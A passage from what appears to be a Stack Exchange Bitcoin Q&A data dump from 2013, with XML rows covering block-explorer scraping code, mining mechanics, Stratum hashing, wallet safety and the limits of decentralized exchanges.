(line.Contains(&quot;Difficulty&quot;) &amp;amp;&amp;amp; !line.Contains(&quot;Cumulative&quot;))&#xA;            difficulty = Convert.ToDouble(line.Split(new char[] { ' ' })[1]);&#xA;    return difficulty;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the block reward, this is the approach I took that should work with any version of Abe:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;get the blockchain height (/chain/name/q/getblockcount)&lt;/li&gt;&#xA;&lt;li&gt;get block info (/search?q=blocknum)&lt;/li&gt;&#xA;&lt;li&gt;get the value of the generation transaction; subtract from it the fees paid by the other transactions in the block&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As above, step 2 returns HTML which you'll have to scrape. Here's some C# I knocked together:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private decimal GetRewardAbe(string url_prefix, string chain_name)&#xA;{&#xA;    WebClient wc = new WebClient();&#xA;    int blockcount = Convert.ToInt32(wc.DownloadString(url_prefix + &quot;/chain/&quot; + chain_name + &quot;/q/getblockcount&quot;));&#xA;    string blockinfo = wc.DownloadString(url_prefix + &quot;/search?q=&quot; + blockcount.ToString());&#xA;    int tx_index = 0;&#xA;    decimal reward = 0;&#xA;    foreach (string line in blockinfo.Split(new char[] { '\n' }))&#xA;        if (line.Contains(&quot;&amp;lt;tr&amp;gt;&quot;) &amp;amp;&amp;amp; !line.Contains(&quot;&amp;lt;table&amp;gt;&quot;))&#xA;        {&#xA;            string[] fields = line.Split(new string[] { &quot;&amp;lt;td&amp;gt;&quot;, &quot;&amp;lt;/td&amp;gt;&quot;, &quot;&amp;lt;tr&amp;gt;&quot;, &quot;&amp;lt;/tr&amp;gt;&quot; }, StringSplitOptions.RemoveEmptyEntries);&#xA;            if (tx_index == 0)&#xA;            {&#xA;                reward = Convert.ToDecimal(fields[3].Split(new char[] { ' ' })[1]);&#xA;                if (fields[3].Contains(&quot;+&quot;))&#xA;                    break;&#xA;            }&#xA;            else&#xA;                reward -= Convert.ToDecimal(fields[1]);&#xA;            tx_index++;&#xA;        }&#xA;    return reward * (decimal)100000000;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The value returned is in satoshis, consistent with what blockexplorer.com or blockchain.info return for Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="5295" LastEditorUserId="5295" LastEditDate="2013-05-29T19:53:04.093" LastActivityDate="2013-05-29T19:53:04.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11303" PostTypeId="2" ParentId="11116" CreationDate="2013-05-28T22:43:38.003" Score="8" Body="&lt;p&gt;Decentralized peer to peer exchange of digital currencies to/from fiat currencies will always have the following constraints:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Fiat currencies cannot be encrypted and represented digitally by a decentralized entity/organization/system. Therefore, fiat currencies will always need to be transferred between traders through the banking system or physically using cash.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Peer to peer trades of fiat&amp;lt;=&amp;gt;digital currencies will always depend on trust. A peer to peer exchange protocol could easily ensure that one party would always send the Bitcoins. The transaction can be verified. The protocol could safely hold the Bitcoins until the other party sends the dollar (Decentralized escrow). But the protocol can never confirm the dollar transaction. It can never know for sure that the transaction has occurred. This introduces the below:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Who's going to send first?&lt;/p&gt;&#xA;&lt;p&gt;I sent the money. No he didn't&lt;/p&gt;&#xA;&lt;p&gt;Who will this person be that I'll receive a transfer from? Is he a criminal? Are the funds stolen?&lt;/p&gt;&#xA;&lt;p&gt;What if this person tells his bank that I fraudulently received this payment.&lt;/p&gt;&#xA;&lt;p&gt;I went to the cash exchange and had to confirm the transaction at gun point&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Remember that transactions  within the banking system are monitored, they can be reversed and funds can be frozen.&lt;/p&gt;&#xA;&lt;p&gt;I have studied all projects aiming to accomplish a peer to peer decentralized exchange:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=26063.80&quot; rel=&quot;noreferrer&quot;&gt;Dark Exchange&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinx.org/&quot; rel=&quot;noreferrer&quot;&gt;BitcoinX&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Ripple - which is actually a payment system that will hypothetically allow trades as well.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I haven't seen a solution for the above mentioned constraints. All of these projects will be bound by them.&lt;/p&gt;&#xA;&lt;p&gt;Ripple protocol proposes to allow dollars to be represented on the network and allow peer to peer transfer of dollars, therefore enabling btc-&amp;gt;dollar trades. However, their model depends on Gateways -the entry/exit points of fiat currencies to the network. Users will still need to trust that these Gateways will actually hold and be able to pay the amount of dollars within the network as/when needed. There is no guarantee that these Gateways will not fraud the network or individuals. Neither is there a guarantee that the governments will not shut them down. (Read the first line here: &lt;a href=&quot;https://ripple.com/wiki/Gateway_List&quot; rel=&quot;noreferrer&quot;&gt;https://ripple.com/wiki/Gateway_List&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;My view on the future of fiat=&amp;gt;dollar exchanges:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;First and foremost:&lt;/strong&gt; The significance of exchanges will diminish as the adoption of Bitcoin grows. The less the need to trade your Bitcoins, the less important exchanges are. I truly believe this.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Are you saying that we not need exchanges?&lt;/strong&gt; Absolutely not. No matter how much the adoption rate grows, there will always be a need to trade Bitcoins -this will be true for at least our  lifetime. So we need better and more exchanges.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;So what's it gonna be?&lt;/strong&gt; A ton of local options for people to buy/sell Bitcoins and lots of big exchanges that local shops can trade with. You need to remember that currency exchange does not always have to be in continuous double auction format. When you go to an exchange office and buy euros with dollar, they are not actually matching that with another order. They put a safe profit margin on the price and we pay it. See: CoinBase&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Overall&lt;/strong&gt;, I truly hope that I'm proven wrong. But I don't think a peer to peer decentralized exchange can be built.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Important last note:&lt;/strong&gt; All of the above are true only for fiat to Bitcoin exchanges. A digital to digital currency exchange can be made peer to peer and decentralized given that both allow peer to peer public transfers and both are decentralized. (Ex. Litecoin to Bitcoin)&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-05-28T22:51:11.087" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11304" PostTypeId="2" ParentId="11290" CreationDate="2013-05-28T23:42:10.737" Score="1" Body="&lt;p&gt;In fact, all these functions are implemented in the original Bitcoin client. Mining pools do only distribute it to contributors and sometimes slightly change the problem like Stratum does, but that's not very relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I say, the original Bitcoin client performs the first and the last functions, but I'll explain what they imply.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;WHO gives the current hash to work on?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data to work on is the header of the current block. You can build this block yourself, but the client also does it for you. Some important &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;pieces of information&lt;/a&gt; in this header (that will be hashed so that they are confirmed by the hash) are the hash of the previous block, the merkle root of all transactions in the block (this is used to check if a transaction has been included in the block) and nonce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically what you do is hash this header and check if the hash complies with the current &lt;a href=&quot;https://en.bitcoin.it/wiki/Target&quot; rel=&quot;nofollow&quot;&gt;target&lt;/a&gt;. If not, you can change the nonce and try again. When a new transaction comes in, you add it, update the merkle root and continue. When a new block comes in, you update the previous block hash, remove transactions in the new block from yours, update the merkle root and continue.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;The Computation&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;explained&lt;/a&gt; on the Bitcoin wiki, a double SHA-256 hash is used to hash the complete block header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SHA256( SHA256( Block_Header ) )&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;How can I submit my result?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;Bitcoin API&lt;/a&gt; has a method called &lt;code&gt;submitblock&lt;/code&gt; that you should use to submit the block to the network. Note that you will have to create the block yourself in binary format, containing all the transactions in it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As for&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I want to be SOLO, not mining solo&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;those things are exactly the same. Mining solo means that you do not rely on a mining pool. You can easily start with solo mining using many of the existing mining programs or simply by only using the original client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it is almost always required to have the Bitcoin client running and and being up to date in order to mine solo.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-28T23:42:10.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11305" PostTypeId="2" ParentId="11290" CreationDate="2013-05-29T00:56:05.763" Score="0" Body="&lt;p&gt;I think you have the (common) misconception that everyone is working on the same block.  That is not true.  There is no &quot;official&quot; block to work on.  All miners just gather a bunch of transactions that are valid and haven't already been included in previous blocks.  Usually even as you are mining a block you are adding more transactions to it.  This does not make finding the nonce any harder.  It is pretty much a random shot every time you increment it, even if the content you are hashing keeps changing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you (the miner) solve the nonce, you publish the block on the P2P network and all the other miners and clients pick it up, abandon the block they were working on and start with a new block that links to the one you just published.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-05-29T00:56:05.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11307" PostTypeId="1" AcceptedAnswerId="11308" CreationDate="2013-05-29T03:07:07.930" Score="2" ViewCount="3069" Body="&lt;p&gt;I just saw a new block go by at height 238440 on Blockchain.info that has no transactions but awarded 25 bitcoins. How is this possible, and, why is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the block information link: &lt;a href=&quot;https://blockchain.info/block-index/386860/00000000000000db143554fa093eda1e7d608309f733170c4c7ea2777cfd5424&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/block-index/386860/00000000000000db143554fa093eda1e7d608309f733170c4c7ea2777cfd5424&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5054" LastEditorUserId="5406" LastEditDate="2016-02-01T21:01:12.037" LastActivityDate="2016-02-01T21:01:12.037" Title="Why did this empty transaction block get awarded 25 bitcoins?" Tags="|block|mining-theory|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11308" PostTypeId="2" ParentId="11307" CreationDate="2013-05-29T03:21:21.847" Score="3" Body="&lt;p&gt;The block reward is the block subsidy plus the fees from transactions. The block subsidy is 25 BTC, and will be for 3 years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While mining a block without transactions isn't in the spirit of Bitcoin, and doesn't have much point, it is allowed.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-05-29T03:21:21.847" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="11309" PostTypeId="2" ParentId="10346" CreationDate="2013-05-29T04:16:44.357" Score="1" Body="&lt;p&gt;Addresses are not private information. If you ever want to receive bitcoins you will have to give one of your addresses to the sender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The information that you keep private is what is known as the &quot;private key&quot;. Each addresses has its own private key. The private key is what allows you to spend the coins sent to the corresponding address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually you don't see the private key in your bitcoin-qt window. The private key is stored in a file called wallet.dat in your bitcoin-qt folder. If you decide to encrypt your wallet by setting a password it is the wallet.dat that is encrypted. So the best way to keep it safe is to a) set a password and b) routinely backup the wallet.dat file. &lt;/p&gt;&#xA;" OwnerUserId="5273" LastActivityDate="2013-05-29T04:16:44.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11310" PostTypeId="2" ParentId="10200" CreationDate="2013-05-29T05:21:33.517" Score="1" Body="&lt;p&gt;Lots of people that we know about and probably many more that we don't know about are developing a diversity of financial instruments for bitcoin. What instruments exactly will depend on your definition of instrument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an interesting one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=197799.0&quot; rel=&quot;nofollow&quot;&gt;cvToken&lt;/a&gt;:&#xA;An effort to stabilize the bitcoin price by pegging a token backed by a basket of commodities to it.&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2013-05-29T05:21:33.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11311" PostTypeId="2" ParentId="11279" CreationDate="2013-05-29T05:37:50.290" Score="5" Body="&lt;p&gt;In case a the scriptPubKey of a transaction is a standard M-of-N script, the N different addresses corresponding to the public keys are listed here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are likely very few or even no transactions that use this in the mainnet chain, as the few multisig transactions that occur are almost entirely using pay-to-scripthash, where the output doesn't contain the real script (only its hash), so it cannot be fully decoded.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-05-29T05:37:50.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11312" PostTypeId="1" CreationDate="2013-05-29T06:37:43.343" Score="2" ViewCount="279" Body="&lt;p&gt;I'm using bitcoin-qt(0.8.0) on ubuntu studio (12.04.2), and suffered a power failure while loading. Now I receive the &quot;failed to load block&quot; error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happened to someone else, and the answer he was given which solved his problem was to run it from the command line and use the -reindex flag.&#xA;I'm hopeful this might work for me as well, but I don't know how to go about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to access &quot;terminal&quot;, but I don't really mess with it. I'm at a loss.&#xA;Any help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="5299" LastEditorUserId="1307" LastEditDate="2013-05-29T08:57:32.470" LastActivityDate="2013-05-29T08:57:32.470" Title="How to use command line flags in Linux?" Tags="|wallet|linux|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11313" PostTypeId="2" ParentId="11312" CreationDate="2013-05-29T07:03:14.027" Score="1" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Close Bitcoin.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;F2&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Type &lt;code&gt;bitcoin-qt -reindex&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press enter.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-05-29T07:17:03.837" LastActivityDate="2013-05-29T07:17:03.837" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11314" PostTypeId="2" ParentId="9647" CreationDate="2013-05-29T07:54:29.787" Score="1" Body="&lt;p&gt;The only extra danger from using such a client is that by asking the same server about the state of a list of addresses the server can tell that they all belong to the same person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that way in reduced privacy to some degree.&lt;/p&gt;&#xA;" OwnerUserId="5300" LastActivityDate="2013-05-29T07:54:29.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11315" PostTypeId="1" CreationDate="2013-05-29T07:59:09.840" Score="6" ViewCount="1487" Body="&lt;p&gt;By escrow transactions I mean basic 2 of 3 multi-signature transaction like here &lt;a href=&quot;https://blockchain.info/wallet/escrow&quot;&gt;https://blockchain.info/wallet/escrow&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other bitocoin clients where I can do this?&lt;/p&gt;&#xA;" OwnerUserId="4723" LastActivityDate="2013-11-13T16:52:27.267" Title="What clients support escrow transactions apart from Blockchain's MyWallet?" Tags="|multi-signature|escrow|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11316" PostTypeId="2" ParentId="9225" CreationDate="2013-05-29T08:58:33.310" Score="1" Body="&lt;p&gt;You can find Bitcoin C# implementation &lt;a href=&quot;http://bitcoincs.codeplex.com/SourceControl/latest&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5302" LastActivityDate="2013-05-29T08:58:33.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11317" PostTypeId="1" CreationDate="2013-05-29T10:48:01.290" Score="5" ViewCount="73266" Body="&lt;p&gt;How many shares need to be processed on average before a block is found?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that &quot;luck&quot; can be a huge factor which is why it's not quite as simple as that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask because I'm starting my own pool (www.btcpoolman.com). I only have three people on it at the moment, but we've mined about 100K shares in the past week or so. Assuming I sustain this, how long will it be before I will get a block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinx.com/profit/&lt;/a&gt; yesterday, which says that it'll take one year and 138 days to find a block based on 1.2&amp;nbsp;GHash/s (which is roughly what I do when soloing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that, what should I do if I'm currently mining at the above rate?&lt;/p&gt;&#xA;" OwnerUserId="5304" LastEditorUserId="26912" LastEditDate="2016-03-17T20:46:56.253" LastActivityDate="2017-11-23T03:30:03.447" Title="How many shares need to be mined before a block is released?" Tags="|mining-pools|difficulty|hashpower|mining-pool-shares|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11318" PostTypeId="1" AcceptedAnswerId="11319" CreationDate="2013-05-29T10:58:25.070" Score="2" ViewCount="2175" Body="&lt;p&gt;I need some help trying to verify that my implementation is correct or not. I'm trying to make a Stratum mining client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All byte orders are as is directly received from the server, without endian swapping&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the data: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;result&quot;: [[[&quot;mining.notify&quot;, &quot;108fa002000000001&quot;], [&quot;mining.set_difficulty&quot;, &quot;108fa002000000002&quot;]], &quot;108fa00200000000&quot;, 4], &quot;id&quot;: 1, &quot;error&quot;: null}&#xA;{&quot;params&quot;: [&quot;1369818357 489&quot;, &quot;56d14795eadabe52464b0c6410f8c1f70c0af2c5444379160000002400000000&quot;, &quot;01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff51039aa3030d00456c69676975730051a5c4f5fabe6d6d28db22e01b9dceb2e0dc8d7cc01bfc4dcdbce7f7a49c57020c827389efdcea970200000000000000002f7373302f00&quot;, &quot; &quot;, [&quot;d8481cf9050990f425c82fd0f4b0d1dcd3166435cd56eb8f00c76244704812d8&quot;, &quot;815bb21cfd4bf9d26b8b85937390bfb6c39f84a81f8580ba0028c935543cfeec&quot;, &quot;1450b5fe41462f25ca2b8f1f8df1fc08732532ec5b72039f5ad1ad1bd0a3546c&quot;, &quot;af94c2da313d385e2c0c8812c70f8e86809e90f95e79f25e6cdf6c98eac1232a&quot;, &quot;53276d253bee618e675e32b0367e3a786e717bc7e766b165caa8d5de84ef1bf8&quot;, &quot;b0e99cef9b6a55684b8a399a54842a5123163c2fe324a9c563f4d5314ff50684&quot;, &quot;1b559b9b59306deb2d23716fecd213852efe519cbf297c9b10178be71c1013e9&quot;], &quot;00000002&quot;, &quot;1a016164&quot;, &quot;51a5c4f5&quot;, false], &quot;id&quot;: null, &quot;method&quot;: &quot;mining.notify&quot;}&#xA;{&quot;params&quot;: [&quot;redacted&quot;, &quot;1369818357 489&quot;, &quot;12000000&quot;, &quot;51a5c4f5&quot;, &quot;41f20233&quot;], &quot;id&quot;: 2, &quot;method&quot;: &quot;mining.submit&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've obtained this from running bfgminer and dumped the share logs and tcpdumped the connection to the pool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;bfgminer has logged the block header as (with padding):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000256d14795eadabe52464b0c6410f8c1f70c0af2c5444379160000002400000000751b1aba&#xA;ddefb3e3e74c3ac8bbe49787a5ae21703b873e0958a9441a0871d2dc51a5c4f51a01616441f20233&#xA;00000080000000000000000000000000000000000000000000000000000000000000000000000000&#xA;0000000080020000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hashing the data as it appears in the usual fashion, ie., sha256(sha256(data)), doesn't yield the hash that it says it obtained, which is &lt;code&gt;d8b5ed97e69707dc17cae1c23e672818a18b75fd362bb698fad4433b00000000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I could calculate the merkle root by the usual fashion, with the nonces obtained from the above subscription and the submission message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; coinbase = coinbase1 + extranonce1 + extranonce2 + coinbase2&#xA;&amp;gt;&amp;gt;&amp;gt; coinbase_bin = binascii.unhexlify(coinbase)&#xA;&amp;gt;&amp;gt;&amp;gt; root = coinbase_bin&#xA;&amp;gt;&amp;gt;&amp;gt; for h in merkle_branch:&#xA;...   root = hashlib.sha256(hashlib.sha256(root + binascii.unhexlify(h)).digest()).digest()&#xA;&amp;gt;&amp;gt;&amp;gt; binascii.hexlify(root)&#xA;'eed07afc76bc7b15dc5871581a2460c7473ed68573082a0e5864140db0d11803'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is wrong too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me what's going on here? What do I need to swap and what do I need to keep as-is? Or can someone give me a subscription message, a work notification, and a submission message, and show me how to perform all the validation steps?&lt;/p&gt;&#xA;" OwnerUserId="5303" LastActivityDate="2014-03-08T14:04:41.223" Title="Sample worked Stratum example" Tags="|hash|stratum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11319" PostTypeId="2" ParentId="11318" CreationDate="2013-05-29T11:55:04.183" Score="1" Body="&lt;p&gt;The block output you're seeing from bfgminer (&quot;0000000256d14795...&quot;) is the wrong thing to be hashing; it looks like it isn't swabbing the fields when it logs.  The first four bytes of a block are a little endian format version number, and I do not think block format version 33554432 will be released for some time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compare the example given on bitcoin.it (&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Block_hashing_algorithm&lt;/a&gt;): the initial bytes are &quot;01000000&quot; (format version 1 as a little-endian uint32_t).&lt;/p&gt;&#xA;" OwnerUserId="5305" LastActivityDate="2013-05-29T11:55:04.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11320" PostTypeId="2" ParentId="9225" CreationDate="2013-05-29T12:29:51.900" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/Diablo-D3/DiabloMiner&quot; rel=&quot;nofollow&quot;&gt;Diablo Miner&lt;/a&gt; is GPU miner implemented in Java. It's not a library, but it shouldn't be hard to incorporate it's code in another application.&lt;/p&gt;&#xA;" OwnerUserId="4473" LastEditorUserId="4473" LastEditDate="2013-05-29T12:39:27.440" LastActivityDate="2013-05-29T12:39:27.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11321" PostTypeId="2" ParentId="11049" CreationDate="2013-05-29T13:00:28.323" Score="4" Body="&lt;p&gt;I looked again at the web inteface and found this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Account Settings - Continue - (password if promted) - General - Default Fee Policy - Generous&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this is something new or if I just missed it before.  I then sent a test transaction of 0.01 BTC from my iPhone and it included a transaction fee of 0.0005 BTC.  So this seems to be a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further update, the transactions from Blockchain iOS app only seem to intermittently add miners fees. It is very frustration. One transfer will have a 'generous' fee (as requested via the Blockchain.info site) and then the next will have no fee. Very irritating especially when trying to do local transactions and a confirmation can take an hour or more!&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="-1" LastEditDate="2013-07-05T07:40:54.933" LastActivityDate="2013-07-05T07:40:54.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11322" PostTypeId="2" ParentId="11317" CreationDate="2013-05-29T13:36:38.787" Score="0" Body="&lt;p&gt;On average, as many as the difficulty currently is.&lt;/p&gt;&#xA;" OwnerUserId="3056" LastActivityDate="2013-05-29T13:36:38.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11323" PostTypeId="1" AcceptedAnswerId="11328" CreationDate="2013-05-29T13:46:52.977" Score="3" ViewCount="221" Body="&lt;p&gt;I know each user has a public key and private key. The users signs the transaction with his private key and sends it to a Bitcoin address. What prevents me from claiming his coins? I read something about verification with the private key but I didn't really understand. How does Bitcoin ensure that only the eligible person can spend the bitcoin? More specifically I didn't understand the verify and sign part in Satoshi's paper in the diagram on page 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also from &lt;a href=&quot;http://thumbnails.visually.netdna-cdn.com/bitcoin-infographic_5029189c9cbaf.jpg&quot; rel=&quot;nofollow&quot;&gt;this diagram&lt;/a&gt;, how is it that a secret key can act as a key to lock a lock, but the public key can open the lock only but can't lock it back? How is this implemented technically?&lt;/p&gt;&#xA;" OwnerUserId="4803" LastEditorUserId="5406" LastEditDate="2016-04-26T06:31:44.657" LastActivityDate="2016-04-26T06:31:44.657" Title="How are transactions verified to ensure only the eligible person can spend a Bitcoin balance?" Tags="|private-key|public-key|signature|transaction-verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11324" PostTypeId="1" AcceptedAnswerId="11325" CreationDate="2013-05-29T14:27:32.123" Score="2" ViewCount="375" Body="&lt;p&gt;I'm attempting to do statistical research on the Bitcoin market, and I would like to have access to the transaction data of as many exchanges as possible. Specifically, I'm looking for every trade made on a given exchange. Mt. Gox is obviously my primary interest because it handles the highest volume. Is this data available for download anywhere, or am I going to have to start collecting it myself? Specifically, I want to be able to store all transactions in a SQL database, so I would like them in an easily parsable format.&lt;/p&gt;&#xA;" OwnerUserId="5306" LastEditorUserId="5306" LastEditDate="2013-05-29T14:38:45.440" LastActivityDate="2013-06-17T17:44:18.140" Title="Access to exchanges' (especially Mt. Gox's) transaction history?" Tags="|transactions|mtgox|raw-data|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11325" PostTypeId="2" ParentId="11324" CreationDate="2013-05-29T14:43:23.990" Score="1" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API&quot; rel=&quot;nofollow&quot;&gt;API&lt;/a&gt; to retrieve such data.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-05-29T14:43:23.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11326" PostTypeId="2" ParentId="11317" CreationDate="2013-05-29T14:43:54.850" Score="2" Body="&lt;p&gt;When mining in a pool you are simply looking for simpler blocks than those that are used in the network itself. Let's say you are mining in a pool that counts difficulty 1 shares. That means to find share you have to complete 2^32 hash operations. Since difficulty &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow&quot;&gt;is defined&lt;/a&gt; as the ratio between the current target and the maximum (as in easiest) target, each increment in the difficulty doubles the number of hash operations you'd need to find a share. Hence the probability of a share also being a block is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;share_difficulty / block_difficulty&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;since the current difficulty (29th of May 2013) is 12'153'411.7098 the chances of a share of difficulty 1 being a block is 1/12'153'411.7098, and the expected number of shares until a block is being found is again 12'153'411.7098. Notice that in the last step we are talking about an expected number of shares. As mining is a random process there is no guarantee of finding a 